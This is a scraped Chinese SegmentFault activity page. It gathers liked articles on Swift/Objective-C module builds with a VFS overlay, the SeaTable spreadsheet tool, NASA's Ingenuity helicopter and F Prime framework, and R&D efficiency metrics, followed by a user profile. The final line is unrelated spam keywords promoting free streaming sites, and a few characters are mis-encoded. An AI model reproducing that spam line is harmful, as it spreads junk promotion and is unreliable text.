        其中 LaunchPoint.swift 引用了 UsefulClass.h 中的一個公開 API,并產生了依賴關系。

        另外,vfs-overlay.yaml 文件重新映射了現有的文件目錄結構,其內容如下:

        {
          'version': 0,
          'roots': [
            { 'name': '/MyObjcPod', 'type': 'directory',
              'contents': [
                { 'name': 'module.modulemap', 'type': 'file',
                  'external-contents': 'tmp/module.modulemap'
                },
                { 'name': 'UsefulClass.h', 'type': 'file',
                  'external-contents': 'repo/MyObjcPod/UsefulClass.h'
                }
              ]
            }
          ]
        }

        至此,我們通過如下的命令,便可以獲得 LaunchPoint 的 Swiftmodule、Swiftinterface 等文件,具體的示例可以查看我在 Github 上的鏈接 - manually-expose-objective-c-API-to-swift-example

        swiftc -c LaunchPoint.swift -emit-module -emit-module-path build/LaunchPoint.swiftmodule -module-name index -whole-module-optimization -parse-as-library -o build/LaunchPoint.o -Xcc -ivfsoverlay -Xcc tmp/vfs-overlay.yaml -I /MyObjcPod

        那這意味著什么呢?

        這就意味著,只提供相應的 .h 文件和 .modulemap 文件就可以完成 Swift 二進制產物的構建,而不再依賴 Framework 的實體。同時,對于 CI 系統來說,在構建產物時,可以避免下載無用的二進制產物(.a 文件),這從某種程度上會提升編譯效率。

        如果你沒太理解上面的意思,我們可以展開說說。

        例如,對于 PodA 組件而言,它自身依賴 PodB 組件,在使用原先的構建方式時,我們需要拉取 PodB 組件的完整 Framework 產物,這會包含 Headers 目錄,Modules 目錄里的必要內容,當然還會包含一個二進制文件(PodB),但在實際編譯 PodA 組件的過程中,我們并不需要 B 組件里的二進制文件,而這讓拉取完整的 Framework 文件顯得多余了。

        而借助 VFS 技術,我們就能避免拉取多余的二進制文件,進一步提升 CI 系統的編譯效率。

        總結

        感謝你的耐心閱讀,至此,整篇文章終于結束了,通過這篇文章,我想你應該:

        • 理解 Objective-C 的三種預編譯的工作機制,其中 Clang Module 做到了真正意義上的語義引入,提升了編譯的健壯性和擴展性。
        • 在 Xcode 的 Search Path 的各種技術細節使用到了 hmap 技術,通過加載映射表的方式避免了大量重復的 IO 操作,可以提升編譯效率。
        • 在處理 Framework 的頭文件索引時,總是會先搜索 Headers 目錄,再搜索 PrivateHeader 目錄。
        • 理解 Xcode Phases 構建系統中,Public 代表公開頭文件,Private 代表不需要使用者感知,但物理存在的文件, 而 Project 代表不應讓使用者感知,且物理不存在的文件。
        • 不使用 Framework 的情況下且以 #import <A/A.h> 這種標準方式引入頭文件時,在 CocoaPods 上使用 hmap 并不會提升編譯速度。
        • 通過 cocoapods-hmap-built 插件,可以將大型項目的全鏈路時長節省 45% 以上,Xcode 打包環節的時長節省 50% 以上。
        • Clang Module 的構建機制確保了其不受上下文影響(獨立編譯空間),復用效率高(依賴決議),唯一性(參數哈?;?。
        • 系統組件通過已有的 Framework 文件結構實現了構建 Module 的基本條件 ,而非系統組件通過 VFS 虛擬出相似的 Framework 文件 結構,進而具備了編譯的條件。
        • 可以粗淺的將 Clang Module 里的 .h/m,.moduelmap,.pch 的概念對應為 Swift Module 里的 .swift,.swiftinterface,.swiftmodule 的概念
        • 理解三種具有普適性的 Swift 與 Objective-C 混編方法

          • 同一 Target 內(App 或者 Unit 類型),基于 <PorductModuleName>-Swift.h<PorductModuleName>-Bridging-Swift.h。
          • 同一 Target 內,基于 <PorductModuleName>-Swift.h 和 Clang 自身的能力。
          • 不同 Target 內,基于 <PorductModuleName>-Swift.hmodule.modulemap。
        • 利用 VFS 機制構建,可以在構建 Swift 產物的過程中避免下載無用的二進制產物,進一步提升編譯效率。

        參考文檔

        作者簡介

        • 思琦,筆名 SketchK,美團點評 iOS 工程師,目前負責移動端 CI/CD 方面的工作及平臺內 Swift 技術相關的事宜。
        • 旭陶,美團 iOS 工程師,目前負責 iOS 端開發提效相關事宜。
        • 霜葉,2015 年加入美團,先后從事過 Hybrid 容器、iOS 基礎組件、iOS 開發工具鏈和客戶端持續集成門戶系統等工作。

        | 想閱讀更多技術文章,請關注美團技術團隊(meituantech)官方微信公眾號。

        | 在公眾號菜單欄回復【2020年貨】、【2019年貨】、【2018年貨】、【2017年貨】、【算法】等關鍵詞,可查看美團技術團隊歷年技術文章合集。

        查看原文

        贊 2 收藏 0 評論 0

        高陽Sunny 關注了用戶 · 2月23日

        SeaTable開發者版 @seatable

        SeaTable 開發者版是一款面向開發者的協同表格和低代碼平臺,可私有部署,沒有 API 調用限制,其他功能基本同云服務的免費版本一致。適合于作為企業內部的數據協作中心,實現數據的集中管理、可視化和自動化。https://seatable.cn/developer/

        關注 43

        高陽Sunny 贊了文章 · 2月23日

        協同表格+低代碼,這個免費工具可作為團隊的數據管理和自動化中心

        企業中往往有很多零散的數據需要管理,這些數據往往分散在 Excel 表格、數據庫、OA 等多個系統之中。我們能不能對這些數據進行集中的收集、展示和共享協作呢?更進一步的,在這些數據之上,我們能不能快速的開發一些小應用進行數據的處理、反饋、提醒呢?

        今天我們就來分享 SeaTable 這款免費的工具,看看它如何幫我們實現零散數據的集中管理和自動化。

        先簡單介紹下 SeaTable ,它是一款新型的協同表格和低代碼平臺。它支持“文件”、“圖片”、“單選項”、“協作人”、“計算公式”等豐富的數據類型。 它幫助你用表格的形式來方便的組織和管理各類信息。它同時包含完善的 API、自動化規則、腳本運行能力,可以按照你的需要進行擴展,實現數據處理的自動化和業務流程的自動化。

        SeaTable 包含以下的版本:

        • 開發者版: 面向把 SeaTable 當做輕型數據庫使用的用戶。可以免費下載,私有部署??!沒有行數、存儲量和 API 調用的限制。
        • 云服務版: 面向有協同需求的普通用戶,有行數、存儲量和 API 調用的限制。
        • 企業版: 在以上版本的基礎上,同時有完善的權限管理和用戶管控功能,可以云端使用也可以本地部署。

        下面我們以一個多網站運維管理為例來說明 SeaTable 中數據的記錄和管理、數據可視化和自動化。

        多網站運維管理的例子

        作為開發團隊,我們往往要運維多個網站,有些給內部用,有些給外部用。我們不僅要把各種零散信息集中記錄,以方便查看和協作,還要對站點證書過期時間等,進行監控和維護。要解決這些問題,如果自己寫一個自動化工具需要花費不少時間,還不好維護。而如果用 SeaTable ,就能在很短的時間內完成,維護起來還方便。

        比如我們團隊平時管理的站點就有二十多個,全部使用的是免費的 Lets' encrypt 證書,并通過腳本在證書過期前自動更新證書。偶爾會出現腳本沒有配置對,或其他的原因導致證書沒有正常更新(尤其是對新部署的站點)。這就需要制作一個功能來解決這類問題。

        下面我們來逐一介紹怎么用 SeaTable 來實現:

        • 站點數據的協同記錄
        • 用腳本實現自動化更新網站證書過期時間
        • 自動化監控和提醒網站證書過期時間
        • 讓表格數據信息可視化

        數據的協同記錄

        關于數據的協同記錄,主要分享以下幾點:

        1. SeaTable 支持日期、圖片、文件、單選、URL、長文本、協作人、創建者、創建時間等豐富的數據類型,用它的數據類型,就可以把運維相關的各種數據類型的信息都集中記錄到表格里。
        2. 當我們把表格的只讀或可讀寫權限,共享給同事后,他們就可以進行只讀或協作編輯了。而且表格管理員還可以根據需要,鎖定表頭、鎖定行、設置列的編輯權限等。比如可以對某列設置任何人都不能編輯、或只有管理員可以編輯、或哪些共享用戶能編輯。
        3. 我們還可以用 API 或者 Python 腳本來同步數據庫中的記錄,或者從第三方抓取數據。

        用腳本來自動化更新網站證書的過期時間

        SeaTable 提供了 Python 腳本的運行環境,我們可以把腳本和數據放在一個地方進行管理,不需要再單獨找一個服務器。同時,可以在表格中根據不同的需要存儲多個 Python 腳本文件, 一鍵點擊運行就可以達到我們想要的效果。如下圖:

        image

        具體的腳本內容這里就不介紹,有興趣了解更多的同學可以訪問 https://seatable.github.io/se...

        腳本除了點擊運行外,還可以安排每日自動運行。

        image

        用提醒規則來自動化提醒

        下面用 SeaTable 的“提醒規則”功能,來實現自動化提醒。

        點擊表格右上角的“提醒規則”按鈕,添加一個提醒規則。比如對“證書過期時間”列的時間,可以設置在還有多少天就要過期時,自動發出提醒通知。另外,在個人微信號綁定了表格賬號的前提下,當這個運維管理表有未閱讀的提醒通知時,如果兩分鐘內你沒有點開網頁并閱讀,那么提醒就會發送到個人微信上。

        提醒規則設置,如下圖:

        image

        靈活查看和可視化

        在靈活查看數據、可視化和統計分析等方面,SeaTable 有表格視圖功能,有日歷、時間線、圖庫、地圖等實用的插件,也有便捷的“統計”功能等。我們可以根據數據特征去選擇使用。比如可以在多視圖間快速切換查看不同角度的數據;利用統計圖表,來對這個記錄了零散數據的網站運維表進行更直觀的動態可視化。

        多視圖:

        image

        統計圖表:

        image

        總結

        我們用 SeaTable 就可以非常方便地在表格里記錄和管理各種類型的數據信息。更重要的是,我們無需再開發工具,用它的“腳本”和“提醒規則”等功能,就快速完成了自動化的數據處理和流程管理。

        作為一款新型的協同表格和低代碼平臺,從使用上來看,它不僅使用門檻低,而且具備靈活性和通用性,即便是非專業技術人員,也能構建自己的業務應用程序,從而不再嚴重依賴技術研發,大幅降低溝通、人力和開發成本。平時我們可以利用它完善的 API、提醒規則和腳本功能等,幫我們快速實現數據處理自動化和業務流程自動化的靈活需求。

        查看原文

        贊 17 收藏 1 評論 3

        高陽Sunny 贊了文章 · 2月19日

        火星無人機全部代碼公開!毅力號帶著手機芯片和 Linux 系統上太空

        毅力號登陸火星,帶著手機芯片和 Linux 系統上太空了!

        歷經 203 天,穿越了 4.72 億公里之后,美國“毅力號”火星車終于在美東時間下午 3:55 成功登陸火星。

        結束近 7 個月的旅程后,“毅力號”傳回了通過避險攝像機拍攝的第一張火星表面景象。這次,“毅力號”的主要任務是——尋找古代生命的跡象,并收集火星巖石和土壤樣本帶回地球研究。

        值得一提的是,配合“毅力號”完成探測任務的“機智號”無人機搭載的是驍龍 801 處理器。沒錯,就是那個用在手機上的驍龍 801。當年,小米 4 用的就是這款芯片。

        此外,這也是人類第一次在火星上運行 Linux 系統?!耙懔μ枴鄙系臒o人機“機智號”實際上是通過 Linux 操作系統控制的。不止如此,NASA 還把這個專門為火星無人機開發的 Linux 飛行控制系統開源了!

        這就是毅力號在火星表面拍攝的第一張圖像:

        image.png

        “恐怖 7 分鐘”艱難著陸

        2020 年 7 月 30 日,耗資 24 億美元的毅力號從美國佛羅里達州的卡納維拉爾角太空部隊站發射升空,帶著收集火星樣本的任務邁出了火星探索的第一步。

        美國宇航局科學副主任托馬斯說,“毅力號是從火星帶回巖石的第一步,我們不知道這些來自火星的原始樣本會告訴我們什么,但無疑是非常重要的,甚至可能包括曾經存在于地球之外的生命?!?/p>

        image.png

        毅力號進入下降階段時,以大約 20000 km/h 的速度飛行,盡管火星的氣氛很稀薄,但它仍將給毅力號帶來極大的阻力。進入火星大氣層大約 80 秒鐘之內,航空器外殼外部的溫度將達到 1300 攝氏度。

        約四分鐘后,毅力號的“降落傘”展開,保護性航空器外殼脫落。當毅力號下降到火星表面上方約 4 公里時,它將激活其地形導航系統。

        410 秒后(將近 7 分鐘),毅力號終于在火星成功著陸。與 2018 年 8 月的“好奇號”火星車非常相似,它也在著陸時經歷了類似的“恐怖 7 分鐘”。

        image.png

        火星表面首次有直升機起飛

        毅力號首次將直升機帶上了火星,機智號火星無人機將在火星表面飛起幾英尺的高度,并在毅力號火星車的周圍盤旋,收集圖像信息。這將是直升機在火星極薄的大氣層中首次實現動力飛行。

        image.png

        機智號無人機僅重 1.8 公斤,通過頂部安裝的 4 個碳纖維螺旋槳提供動力,每分鐘轉速為 2400 轉,功率為 350 瓦。為了配合毅力號的探測任務,它要面對許多挑戰。

        要知道,實現直升機在火星上飛行是有很大難度的。一方面火星的稀薄大氣使得難以獲得足夠的升力。另一方面由于火星大氣層的密度比地球密度低 99%,直升機的旋轉葉片也要做的更大,并且轉速要非??觳拍芷痫w。

        image.png

        機智號采用驍龍 801 處理器,帶著 Linux 系統上火星

        由于太空探索對硬件設備的穩定性要求極高,很多設備都采用了已經在地面運行了多年的處理器,機智號也是如此。但值得注意的是,機智號這次沒有采用商業級別的處理器,而是用于手機的民用處理器。這是因為,機智號被 NASA 視為一項“技術演示”,因此愿意接受更多風險,于是采用了民用的驍龍 801 處理器。

        image.png

        此外,由于毅力號的任務對信息的收集和處理要求極高,需要捕捉圖像、分析特征,并以 30 赫茲的頻率從一幀到另一幀跟蹤它們。以往已經使用多年的商業級處理器已無法達到標準。而驍龍 801 的本質是一款手機處理器,而且它的主板非常小。它的功能遠比其他火星車上的處理器多得多,擁有更強大的計算力。

        除了手機處理器,機智號還帶來了一個驚喜,將 Linux 帶上了火星。

        這是人類第一次在火星上使用 Linux 飛行控制系統,據 NASA 介紹,機智號使用的軟件框架是JPL 為立方體衛星和儀器開發的,并在幾年前就開源了。也就是說,任何人都能使用這個在火星直升機上的軟件框架,并將它用在你自己的項目上。

        將開源進行到底,火星無人機代碼已全部公開

        F Prime 是火星無人機“機智號”的飛行軟件框架,目前已在 GitHub 上全部公開!

        F Prime 是為機智號量身定制的一個組件驅動的框架,可以快速開發和部署太空飛行及其他嵌入式軟件應用程序。

        那么,有了這些公開的代碼,我們是不是也能下載機智號同款代碼搞個火星無人機出來了呢?

        image.png

        NASA 開源的 F Prime 提供了一個完整的開發生態系統,包括建模工具、測試工具和地面數據系統。開發人員使用建模工具編寫高級規范,自動使用 C ++ 生成實現,并使用特定領域的代碼填充實現??蚣芎痛a生成器提供 F Prime 部署所需的所有樣板代碼,包括用于線程管理的代碼,用于組件之間通信的代碼以及用于處理命令,遙測和參數的代碼。測試工具和地面數據系統簡化了在工作站和實驗室中的飛行硬件上的軟件測試。

        此外,F Prime 還實現了以下幾個關鍵功能:

        1.可重用性:基于組件的體系結構可實現高度的模塊化和軟件重用。

        2.可移植性:F Prime 在從微控制器到多核計算機的多種處理器以及多種操作系統上運行,將其移植到新的操作系統非常簡單。

        3.高性能:采用點對點架構,最大程度地減少了計算資源的使用,非常適合較小的處理器。

        4.量身定制,可滿足小型任務所需的復雜程度,不僅易于使用,還能同時仍支持多種任務。

        5.可分析性:類型化的端口連接為編譯時的正確性提供了有力的保證。

        快速安裝指南

        前提條件:

        • cmake
        • git
        • Python 3.5+ with pip

        安裝這些實用程序后,即可安裝 F Prime Python 依賴項。在 Python 虛擬環境中安裝依賴項可以防止系統級問題,但是不需要在虛擬環境中進行安裝。

        要快速安裝 F Prime,請輸入:

        image.png

        太空冒險邁上新臺階,“移民火星”不是夢

        毅力號將在火星完成一系列高度復雜的任務,為人類探索古代生物信息和火星土壤研究提供有力支持。隨著毅力號一起登陸火星的機智號也為人類的太空事業邁上了一個更高的臺階。

        與此同時,中國的“天問一號”火星車也即將今年 5 月登陸火星。人類的太空冒險仍在繼續,也許“移民火星”在未來的某一天真的將不止是夢想,而真正照進現實。

        參考鏈接:https://spectrum.ieee.org/aut...
        https://www.futurezone.de/sci...
        GitHub 地址:https://github.com/nasa/fprime

        segmentfault 公眾號

        查看原文

        贊 8 收藏 1 評論 1

        高陽Sunny 贊了文章 · 2月19日

        研發效能可以度量么?

        Martin Fowler 告訴我們,不能!
        那怎么辦?我們可以用以下的過程指標來指導日常的改進:

        會議時間

        如果 Autonomy 的問題是高溝通成本,那么是否可以直接度量整個溝通成本。例如參與會議的時間,這是一個可能的指標。這樣的指標會有什么問題呢? 有沒有更好的指標?

        度量會議時間會有如下的問題:

        • 會議沒有包含全部的溝通成本,包括面對面溝通,IM溝通等
        • 不開會可能是因為沒有新需求
        • 開會多可能就是因為需求多,說明業務蒸蒸日上
        • 開會多少只說明了成本的高低,只要最終的效能好不就 OK 了么? 或者換句話說,只要業務賺錢不就 OK 了么?

        最有效的當然是總收入,總利潤這樣的結果指標。但是不能一竿子斷定所有的過程指標都沒有意義。不可能所有人都背最終的結果指標,也不可能所有的改進都要從結果指標入手。會議時間顯然能說明成本構成,只是這個成本是否花得值很難判斷。一個勞動者只有8個小時的符合勞動法的工作時間,如果有7個小時都在會議上,顯然能夠說明一些問題。所以我認為會議時間做為觀察性的過程指標還是有一定意義,主要的作用是劃個紅線,超過了紅線說明會議太多了。

        會議時間這個指標的問題在于無法指導改進。因為開會多,可能僅僅是需求變多了。

        “接口改動” / “實現改動” 比率

        我們把文件分為兩種類型,負責接口的文件和負責實現的文件。理想的情況下,應該盡可能少的改接口,而是主要去改實現,這樣才能減少跨模塊的人員溝通。如果一個新需求,需要同時改動N個模塊。但是只要不需要改動接口(包括用 Map<string, any> 這樣形式搞的隱式接口),仍然是理想的情況。雖然產品經理需要和多個團隊溝通每個部分的需求是什么,但是開發團隊之間的溝通仍然可以比較少。要每個新需求都只改動一個模塊由一個團隊負責,這是不太現實的:

        • 新商業玩法往往是破壞性的。我們不要去做提前預測
        • 需求大小是任意的,產品經理分工也是有隨機性的??偸怯修k法把一個需求弄大到全公司只做這么一個需求的地步。

        接口完全不修改,開發人員之間完全不溝通也是不可能的。我們要關注的是目前的業務邏輯拆分是不是合理,多個 Git 倉庫之間的接口如果需要頻繁調整,那么說明 Git 倉庫是不是分得過多了,或者邊界不是最佳的。要根據新的輸入,不斷去審視過去做過的拆分決策。而 “接口改動” / “實現改動” 比率可以量化目前業務邏輯拆分是否讓每個 Git 倉庫有 Autonomy。這個值越小,說明僅改動實現情況占比越高。

        為了數據統計比較穩定:

        • 僅做到文件級別的區別。一個文件要么屬于接口,要么屬于實現。一般通過技術手段都可以做到這樣的隔離。
        • 一天無論改了多少次,改了多少個文件都記為“1次”改動。這樣避免了分多次提交,或者文件數量多寡引起的數據波動。

        極端情況下,我們可以不分 Git 倉庫,或者只有兩個 Git 倉庫,從而讓 “接口改動” / “實現改動” 比率比較好看。這個也說明了分 Git 倉庫的成本。把業務邏輯拆得越碎,必然會導致跨團隊的溝通會上升。Git 倉庫不是分得越多就越好,而是滿足了團隊的并發數就可以了。

        這個指標的另外一個問題是日常性的文案修改會導致實現改動非常多。所以我們要以“Consistency”維度的指標去平衡。假設我們已經有了一種統一的文案配置機制。那么需要有一個“文案配置機制”接入率的指標。這樣就可以避免日常性的例行修改破壞這個指標的真實性。

        《A Philosophy of Software Design》 很重要的一個觀點就是 "Modules should be deep",這樣的隱喻讓人們把注意力放在了靜態的結構上。其實作者的本意是接口如果比實現要小很多的話,接口被修改相對于實現被修改的概率也就小了很多。這樣我們大部分時候就可以只改實現,而不改接口?!皹I務邏輯拆分”其成本和收益都要在接下來做新需求的過程中體現,抽離了業務變更的時間軸,靜態的代碼結構無法度量其好壞。

        接入率

        不認為去識別“代碼重復率”是有意義的指標。代碼重復并不一定是問題,很難說今天是一摸一樣的代碼,明天還會保持一摸一樣。不管三七二十一的“復用”反而可能造成耦合,降低團隊自主性(Autonomy)。 一個典型的反面案例就是 utils 包,utils 類。沒有人說得清楚啥時候要用你抽取出來的這個 utils 類,也說不清楚啥時候不應該用。 如果要抽出可復用的代碼,出發點應該是 consistency,是在團隊關鍵成員達成了一致之后的有意識行為。

        每個可復用的Git倉庫,要定義清楚自己的適用范圍。在適用范圍內需要度量接入率。如果說不清楚啥情況該復用,啥情況不該復用的東西,就應該當成一次性的業務邏輯,不要讓其他Git倉庫對其產生依賴關系。 接入率基于代碼掃描自動計算,可接入的通過 pattern match 算得,已接入的直接看代碼符號的引用關系。

        阻斷率

        當我們使用了 Java 這樣的編程語言的時候,Java 會阻斷你在代碼中使用匯編語言直接操縱 CPU。這是比較典型的“阻斷”。 阻斷同樣是為了保證一致性。

        如果使用了 C++ 這樣的編程語言,很有可能 Git 倉庫之間對什么是一個 string 都沒有共識。 這樣就必須要在一定范圍內(比如某個項目,某個部門),強制要求所有的 Git 倉庫都接入同樣的 string 庫,從而保證互操作的低摩擦。

        類似的,一個彼此互相RPC調用的分布式應用,各個進程都用不同的 RPC 協議,用不同的 RPC 實現庫來互相通信會導致很多問題。 例如,A調用B又調用C,一旦調用失敗,層層加碼地去重試,就可能導致最底層模塊被反復重試,最終被擊垮。 解決辦法是需要分布式調用鏈上的所有進程都遵循同樣的重試規則。 如果沒有辦法“阻斷”手擼RPC的實現,看見一個http url,就直接隨意找個 http 標準庫去調用,那就很難保證重試規則的一致性。

        阻斷率指所有可接入的地方,有多少處上了強制檢查,確保了違規行為會被阻斷。

        咨詢量

        當一個定位為“可復用模塊”的團隊,是孤單寂寞的。如果被拉去參與了某重點項目的 Feature Team,那是莫大的榮耀。 但是為了保證 Consistency,可復用的 Git 倉庫,應該努力降低使用者的成本。 使用者的最大成本來自于溝通問詢。如果文檔不清楚,接入開通方式是手工的,必然會體現在咨詢量上。

        咨詢量這個指標怎么計算就很難說得清楚了。在不同的團隊里,咨詢量的體現方式各有不同??傊@個指標就是越接近零越好。

        工單流轉時長

        企業的外部用戶創建的工單,如果最終發現需要開發來處置,到轉到對應的開發手里。這個從工單創建時間,到開發開始處置的時間差,就是工單流轉延遲。 度量這個指標主要是為了避免后臺模塊缺乏對企業最終用戶的體驗缺乏同情心,減少中間的層次。 這里工單指的是偶發的個案。對于大面積故障造成的工單,一天之內的工單合并為記錄為一條。也就是數據采樣的時候,一天只抽取一條工單納入指標。

        故障定位時長

        孤立的一個進程很難完成所有工作。業務邏輯不可避免地要拆分成多個進程。如何找到出問題的進程。 一個進程也很難僅由一個 Git 倉庫構建而來。業務邏輯不可避免地要拆分成多個 Git 倉庫。如何找到進程的問題是哪個 Git 倉庫造成的。 故障定位延遲是指故障從開始定位,到找到根本原因所花的時間。進程邊界,Git 倉庫的邊界,越不依賴人的經驗,越不依賴人的現場溝通,就越可能降低故障定位延遲。

        代碼集成時長

        從修改一行代碼,到把這行代碼修改和其他進程集成到一起,用真實流量驗證,這個端到端的延遲是多少。 開發自己的筆記本能把所有的進程都能啟動起來是一種辦法。 開發能用單元測試模擬試也是一種辦法。 每個小時上一次線也是一種辦法。 只要能對剛才改的那行代碼,集成起來不出問題有信心就可以。 所以我們沒有把“本地開發環境設置時間”做為一個指標,因為能夠本地啟動進程是手段,而集成到一起測才是實際目的。

        業務邏輯拆分模式

        以上是我們整理出來的可能有用的指標,全文撰寫中 taowen/modularization-examples

        查看原文

        贊 2 收藏 1 評論 0

        認證與成就

        • 認證信息 SegmentFault 思否 CEO
        • 獲得 5004 次點贊
        • 獲得 136 枚徽章 獲得 10 枚金徽章, 獲得 50 枚銀徽章, 獲得 76 枚銅徽章

        擅長技能
        編輯

        開源項目 & 著作
        編輯

        • Typecho

          A PHP Blogging Platform. Simple and Powerful.

        注冊于 2011-04-26
        個人主頁被 122.9k 人瀏覽

        一本到在线是免费观看_亚洲2020天天堂在线观看_国产欧美亚洲精品第一页_最好看的2018中文字幕